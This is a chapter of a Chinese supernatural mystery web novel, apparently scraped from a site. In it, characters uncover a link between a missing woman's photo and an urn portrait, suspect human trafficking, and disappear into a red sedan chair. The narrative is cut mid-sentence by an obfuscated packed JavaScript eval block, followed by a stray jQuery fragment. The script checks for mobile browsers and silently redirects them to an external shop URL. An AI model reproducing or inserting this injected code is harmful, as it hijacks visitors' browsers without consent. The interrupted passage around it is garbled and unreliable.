林屿很害怕。
沈晏之一直抓着她,往那幢装满了骨灰盒的楼里走。
她其实很不想去,但沈晏之的力气实在太大,她反抗不了。
苏成宇和卓珩的尸体还摆在楼下,好好的人被摔的乱七八糟。
“你说的那个有婴儿尸体的房间是哪一间啊?”沈晏之依旧平静,但林屿吓傻了,一直躲在她身后,伸出只手胡乱的给她指方向。
徐简很不屑的喵喵了两声。
林屿本就精神紧崩,抱着沈晏之的胳膊大喊:“居然还敢瞧不起我,有本事你别抱着沈晏之的大腿,死猫!”
“喵呜。”徐简很不屑的又喵喵两声,像是在反驳,但爪子还紧紧勾在沈晏之的裤子上。
沈晏之身上挂着两个不轻的挂件,艰难的挪动进去,在林屿的一通乱指下精准的找到了那个房间。
李梅果正躺在地上昏迷不醒,她身上还在流血,血染了大半衣服。沈晏之拿手在她鼻下探了一下,发现她还有气。
“还是年轻人身体好啊,被捅了个对穿都死不了。”沈晏之如是说道。
单莺没在房间里,不知道跑到哪里去了。
沈晏之看到了婴儿尸体,屏住呼吸。
林屿大着胆子看了一眼,沈晏之对她说:“是个女孩。”
“白胡子老头留下的报纸还在吗?”
“在的。”
林屿把那份报纸交给沈晏之,不经意的望了望窗外。
天黑,随后血雾弥漫。
沈晏之还在用她那双有点散光的眼睛分辨报纸上模糊的字迹,好像并未发现窗外的变化。
“先后失踪十三人。”沈晏之的手指摸到了报纸上的一处人像,这是张证件照,因为沾了水,有小半张脸看不大清,露出来的半张脸能看出她眼睛很大,白皙端正。
“有没有觉得这张照片和骨灰盒上的照片很像?”
沈晏之将清楚的半张脸撕下来,贴在骨灰盒的黑白照上。
半张红底证件照和黑白遗照严丝合缝的融合在一起,林屿说:“原来是一个人!我的天呐,我们真是一群二傻子,这么多人居然没有一个看出来的!”
林屿歪了歪头,半截紫色头发垂在肩头,说:“她失踪后应该又被找回来了吧?不过应该是又出了什么意外,不然家里怎么有她的骨灰?”
“你觉得我们看到的,真的是我们看到的吗?”
沈晏之突然来了这么一句话,让林屿有点摸不着头脑。
“我们来到这里之后,都出现了幻觉,我,顾文雅,兔子。”
“喵喵。”
“哦,还有徐简。”
沈晏之转头说:“所以,单莺和其他几个人突然发疯,应该也是出现了幻觉,我不知道在他们的幻觉里发生了什么,但在我们的幻觉里,所有人都在逃跑。”
林屿突然说:“但周围都是树,还有山。”
阴森繁茂的树林,层层叠叠的山峰。
“失踪,被锁住,被抓回,溺死的女婴,林屿,你想到了什么?”
林屿想了想,一个词呼之欲出,但话在嘴边硬是说不出来,还是徐简替她说了。
“喵喵。”
沈晏之尴尬的笑笑,“抱歉,听不懂。”
“喵!”
徐简愤恨的在沈晏之的裤腿上留下一排爪印。
林屿突然就开了窍,说:“我们在幻觉里都被抓起来了,逃跑跑不出去,还有……报纸上写的失踪。”
那个词脱口而出。
“人口拐卖?”
沈晏之点点头,“还不算蠢到家。”
徐简:“喵喵。”
“可是,知道了这个有什么用?”林屿仍是迷茫,“我们要的不是找到污染源吗?知道这些东西又不会帮我们找到污染源。”
沈晏之没说话,只是静静的看着窗外。
林屿知道她在等什么。
借着幽暗的灯光,沈晏之看到不远处有几个模糊的人影,他们抬了顶轿子。
“沈,沈晏之,别看了吧,这东西太邪性了。”
“是吗,我觉得还行。”
“嗯?”
林屿发觉这不是沈晏之的声音,猛的转身。
李梅果不知道什么时候醒了,她的脸色不好看,不过也能理解,毕竟伤口还在流血。
沈晏之眯起眼睛。
年轻人身体就是好啊,伤成这样了还能自己爬起来。
“我觉得沈晏之说的有道理。”李梅果的声音很沙哑,“不过我还有点别的想法。”
“不,不是,你别说话了,你在流血啊!”
林屿手忙脚乱的捂住她的伤口,可血还是从指缝里溢出来。
“我没事。”李梅果摇摇头,说:“幸好没有伤到要害。”
你要害长的还挺偏僻。
沈晏之说:“你说说看。”
“关于你刚才提到的幻觉。”李梅果说:“你有没有想到,现在我们所看到的才是幻觉,而你口中的幻觉,才是这个世界真实的样子?”
沈晏之说:“想过,但我找不到从幻觉里走出去的办法。”
二人沉默着看了眼轿子,随后同时走出房门。
“这俩疯女人。”
林屿知道,她们是去看那顶轿子了。
她看着地上的婴儿尸体,又看到地上李梅果的血,觉得留下比出去更可怕,把心一横,也跟着出去了。
抬花轿的几个人走的并不快,沈晏之和李梅果无视规则,在黑夜中冲入血雾,一步步靠近花轿,很快就追上了他们。
林屿紧跟在她们身后,当然,这并不是因为她胆子大,而是因为她再不快点离开,单莺的高跟鞋就要落在她头上了。
其实沈晏之的胆子也不大,但有个战斗力远超常人的李梅果在旁边,她莫名有了那么几分狐假虎威的意思。
几个抬轿子的人并没有停下,他们不停的龟速前进,沈晏之靠近花轿,想要揭起轿帘。
可抬轿子的人在这时突然加速,以风驰电掣之势去往前方,只留下沈晏之在原地对着自己扯下的一小块轿帘发呆。
敢耍老娘?
沈晏之当即也顾不得怕了,只想追上花轿,于是拼命向前跑。
李梅果紧跟在她后面。
徐简四条腿都快跑细了,他看到不远处的花轿,兴奋的叫起来。
“喵喵喵!”
沈晏之再一次要扯掉轿帘,林屿背过去不敢看。
过了片刻,林屿所见四周没了动静,才敢睁开眼睛。
李梅果难
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561451|204399||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得一副受了惊吓的样子,她指着花轿。
里面空空如也,四周也空空如也。
徐简不停绕着花轿转圈。
“喵喵!”
“沈晏之呢!”
“喵喵喵喵喵喵!”
“我没问你!”
一个大活人,居然就这么从眼皮子?下消失不见了。
李梅果说:“沈晏之刚才坐到轿子里,我揭起轿帘时,人就不见了。”
徐简走向前,嘴里瞎喵喵了两句,好像明白了什么似的,蓄力起跳,轻巧的落在轿子里。
“喂!”
李梅果眼睁睁看着徐简也消失在花轿里。
“搞什么啊……”
李梅果绕着轿子转了两圈,终于把心一横,拖着重伤的身体爬了上去。
一瞬,天悬地转。
远处,目睹一切的单莺逐渐清醒过来。
“小果!”
单莺扯开轿帘,什么也没看到。
抬轿子的两个人看起来有些吃力,手一松,轿子落地,竟是摔了个四分五裂,单莺想钻都钻不进去了。
两个对视一眼,随后一拍即合,扔下轿子就跑。
单莺一个人呆愣在原地。
这都……什么跟什么嘛!讨厌!
单莺知道,再着急也解决不了问题,她得冷静下来,找找出路。
他们这一行人,死的死,伤的伤,消失的消失,还有谁能帮她?
天己经亮了。
轿子凭空消失,单莺茫然的走在街上,她想找到同伴,但走了许久,连个鬼都没见到。
烈日灼心,单莺的视线开始模糊起来,她恍恍恍惚惚的,麻木的向前走,随着一声响,单莺捂住额头蹲下,猛然清醒过来。
她撞到铁栏杆了。
规则中,那个不允许他们翻越的铁栏杆。
单莺轻轻摸上去,只觉得刺手的灼热。
不许跨过铁栏杆吗?
可她都走投无路了耶。
要不然赌把大的?
单莺也不知道自是怎么想的,她被热的头昏脑涨,太容易做出一些失去理智的事情。
她的四肢并不怎么灵活,加上穿的又是高跟鞋,所以攀爬的很费力。
“我真造孽啊。”
单莺脱下高跟鞋,鼓起勇气跳下去。
什么也没发生。
所谓规则,就跟鬼一样,看见了会害怕,但它其实不存在。
单莺轻蔑的笑了,拎着鞋子转过身,再次愣住。
她的眼前是城市,灯火通明,热闹繁华的城市。
单莺有些难以置信,她回头看去,铁栏杆和落日小镇早己消失不见,她看到的只有川流不息的车辆。
不对劲,十分有十二分的不对劲。
单莺的第六感告诉她,这里很危险,非常危险,虽然她没找到危险来源,但她敢肯定这里很危险。
直至汽车鸣笛,单莺才知道这不对劲源自哪里。
她站马路中间了,也是活该。
她不危险谁危险。
单莺找准机会,横穿马路,到达对面。
她怎么会突然跑到城市里去了?
李梅果呢,沈晏之呢,她们也在这里吗,红轿子会把她们送去哪?